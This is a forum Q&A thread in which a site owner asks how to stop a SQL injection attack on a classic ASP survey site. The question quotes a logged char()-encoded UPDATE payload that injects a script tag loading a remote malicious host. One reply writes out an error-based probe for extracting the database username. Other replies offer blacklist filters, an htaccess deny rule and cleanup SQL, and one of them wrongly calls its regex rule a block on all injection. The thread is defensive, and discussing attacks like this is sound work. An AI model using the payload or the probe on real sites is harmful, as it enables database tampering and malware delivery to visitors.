Attack on ASP site that uses a SQL server database
We have a survey site that was apparently attacked. The symptoms are identical to what was described on the following page on this site: XSS Attack on the ASP.NET Website.
I found multiple entries in our IIS logs that included the malicious code:
< / title> < script src = http : // google-stats49.info/ur.php >.
Here is an example of the value of the cs-uri-query field for one of the IIS log entries.
surveyID=91+update+usd_ResponseDetails+set+categoryName=REPLACE(cast(categoryName+as+varchar(8000)),cast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar(108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bchar(61)%2Bchar(104)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)%2Bchar(47)%2Bchar(103)%2Bchar(111)%2Bchar(111)%2Bchar(103)%2Bchar(108)%2Bchar(101)%2Bchar(45)%2Bchar(115)%2Bchar(116)%2Bchar(97)%2Bchar(116)%2Bchar(115)%2Bchar(53)%2Bchar(48)%2Bchar(46)%2Bchar(105)%2Bchar(110)%2Bchar(102)%2Bchar(111)%2Bchar(47)%2Bchar(117)%2Bchar(114)%2Bchar(46)%2Bchar(112)%2Bchar(104)%2Bchar(112)%2Bchar(62)%2Bchar(60)%2Bch开发者_StackOverflow中文版ar(47)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))--
I don't understand how the above code works but apparently this is what is being sent in a query string to corrupt columns in our database tables. We have shut down our site for the time being. We can remove the scripts from the database but that doesn't prevent it from being corrupted again when we bring the site back online.
Does anyone have any suggestions on how to prevent this from happening?
That's a SQL injection.
- Never trust user input. You're taking input and sending it directly to the database
- Never trust your user input!
- Check all input against a whitelist of allowed values.
- For text input make sure everything is escaped
There is tons on this subject: Google is your friend
Also...
- Use parameterized queries.
- Get off old classic ASP, which makes it harder to use parameterized queries. Move to .NET, which has easier validation and can restrict values, disallow html input and so on.
Not sure if this is still relevant for you, but I have had this happen in the past as we still run some old asp sites. There are two things you need to clean this up. First is a find and replace stored procedure for your database (easy enough to Google this), if you can get away with it. Unfortunately sometimes the data is cut off depending on the field type, but there is nothing to do here. Otherwise a roll back for your db is necessary.
Second is insert a SQL injection hack prevention script like this as an include before your database connection:
Good luck.
<%
' SqlCheckInclude.asp
'
' This is the include file to use with your asp pages to
' validate input for SQL injection.
Dim BlackList, ErrorPage, s
'
' Below is a black list that will block certain SQL commands and
' sequences used in SQL injection will help with input sanitization
'
' However this is may not suffice, because:
' 1) These might not cover all the cases (like encoded characters)
' 2) This may disallow legitimate input
'
' Creating a raw sql query strings by concatenating user input is
' unsafe programming practice. It is advised that you use parameterized
' SQL instead. Check http://support.microsoft.com/kb/q164485/ for information
' on how to do this using ADO from ASP.
'
' Moreover, you need to also implement a white list for your parameters.
' For example, if you are expecting input for a zipcode you should create
' a validation rule that will only allow 5 characters in [0-9].
'
BlackList = Array("--", ";", "/", "/", "@@", "@",_
"char", "nchar", "varchar", "nvarchar",_
"alter", "begin", "cast", "create", "cursor",_
"declare", "delete", "drop", "end", "exec",_
"execute", "fetch", "insert", "kill", "open",_
"select", "sys", "sysobjects", "syscolumns",_
"table", "update")
' Populate the error page you want to redirect to in case the
' check fails.
ErrorPage = "/ErrorPage.asp"
'''''''''''''''''''''''''''''''''''''''''''''''''''
' This function does not check for encoded characters
' since we do not know the form of encoding your application
' uses. Add the appropriate logic to deal with encoded characters
' in here
'''''''''''''''''''''''''''''''''''''''''''''''''''
Function CheckStringForSQL(str)
On Error Resume Next
Dim lstr
' If the string is empty, return true
If ( IsEmpty(str) ) Then
CheckStringForSQL = false
Exit Function
ElseIf ( StrComp(str, "") = 0 ) Then
CheckStringForSQL = false
Exit Function
End If
lstr = LCase(str)
' Check if the string contains any patterns in our
' black list
For Each s in BlackList
If ( InStr (lstr, s) <> 0 ) Then
CheckStringForSQL = true
Exit Function
End If
Next
CheckStringForSQL = false
End Function
'''''''''''''''''''''''''''''''''''''''''''''''''''
' Check forms data
'''''''''''''''''''''''''''''''''''''''''''''''''''
For Each s in Request.Form
If ( CheckStringForSQL(Request.Form(s)) ) Then
' Redirect to an error page
Response.Redirect(ErrorPage)
End If
Next
'''''''''''''''''''''''''''''''''''''''''''''''''''
' Check query string
'''''''''''''''''''''''''''''''''''''''''''''''''''
For Each s in Request.QueryString
If ( CheckStringForSQL(Request.QueryString(s)) ) Then
' Redirect to error page
Response.Redirect(ErrorPage)
End If
Next
'''''''''''''''''''''''''''''''''''''''''''''''''''
' Check cookies
'''''''''''''''''''''''''''''''''''''''''''''''''''
For Each s in Request.Cookies
If ( CheckStringForSQL(Request.Cookies(s)) ) Then
' Redirect to error page
Response.Redirect(ErrorPage)
End If
Next
'''''''''''''''''''''''''''''''''''''''''''''''''''
' Add additional checks for input that your application
' uses. (for example various request headers your app
' might use)
'''''''''''''''''''''''''''''''''''''''''''''''''''
%>
Configure your IIS to send a custom error page or the default error 500 page instead of sending detailed error messages to the client.
Detailed error messages has been used to find the db schema. Then they used sql injection to update text fields.
Here's an example to get the DB user:
/page.asp?realparameter=1And%20char(94)%2Buser%2Bchar(94)=0
that is "and ^+user+^=0" and it returns:
[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Conversion_failed_when_converting_nvarchar_value_'^myDbUsername^'_to_data_type_int.
where "myDbUsername" is your real database user.
Using a similar tecnique it is possible to get databases, tables, columns, types etc. one by one.
If you have not been already attacked then disable detailed errors in IIS, otherwise check your logs to find which pages have sql injection vulnerabilities and correct them.
I wrote a small script to check if there are "<script" in my database:
DECLARE c1 cursor for SELECT 'SELECT COUNT(*), '''+QUOTENAME(TABLE_SCHEMA)+'.'+QUOTENAME(TABLE_NAME)+''', '''+QUOTENAME(COLUMN_NAME)+''''+
' FROM ' + quotename(TABLE_SCHEMA) + '.'+QUOTENAME(TABLE_NAME) +
' WHERE ' + QUOTENAME(COLUMN_NAME) + ' LIKE ''%<script%'''
FROM INFORMATION_SCHEMA.COLUMNS c
WHERE DATA_TYPE IN ('nvarchar', 'nchar', 'varchar', 'char', 'text', 'ntext')
and QUOTENAME(TABLE_NAME) not in (SELECT QUOTENAME(name)AS TABLE_NAME FROM sys.views)
order by QUOTENAME(TABLE_NAME);
DECLARE @CMD VARCHAR(200), @return varchar(10)
OPEN C1
FETCH NEXT FROM C1 INTO @CMD
WHILE @@FETCH_STATUS <> -1
BEGIN
declare @sql nvarchar(500), @tbl varchar(200), @col varchar(200)
set @sql = 'declare c2 cursor for ' + @CMD
exec sp_executesql @sql
open c2
FETCH NEXT FROM C2 INTO @return, @tbl, @col
WHILE @@FETCH_STATUS <> -1
BEGIN
if(@return > 0)
BEGIN
PRINT @return + ' records found in ' + @tbl + '.' + @col
exec('SELECT '+@col+' FROM '+@tbl+' WHERE '+@col+' LIKE ''%<script%''')
END
FETCH NEXT FROM C2 INTO @return, @tbl, @col
END
CLOSE C2
DEALLOCATE C2
FETCH NEXT FROM C1 INTO @CMD
END
CLOSE C1
DEALLOCATE C1
I'm on IIS 7, Win Server 2008 and SQL Server 2008 so it doesn't seems this attack uses any SQL Server 2003 / 2005 vulnerabilities as stated in many articles on the web.
You are being hit by the LizaMoon automated SQL injection exploit pack, and are now mentioned in an artice on the page of the company that is credited with first documenting the attack: http://community.websense.com/blogs/securitylabs/archive/2011/03/31/update-on-lizamoon-mass-injection.aspx
The BulletProof Security WordPress plugin has the SQL Injection filters that will block this attack in an htaccess file. Since you have an IIS server you would need to add additional features that would enable you to use an htaccess file or maybe you could incorporate the SQL Injection filters in some other way with IIS since htaccess is traditionally an Apache thing. This is the line in the BulletProof Security master htaccess file that blocks ALL SQL Injection hacking attempts:
RewriteCond %{QUERY_STRING} ^.*(execute|exec|sp_executesql|request|select|insert|union|declare|drop|delete|create|alter|update|order|char|set|cast|convert|meta|script|truncate).* [NC]
RewriteRule ^(.*)$ - [F,L]
精彩评论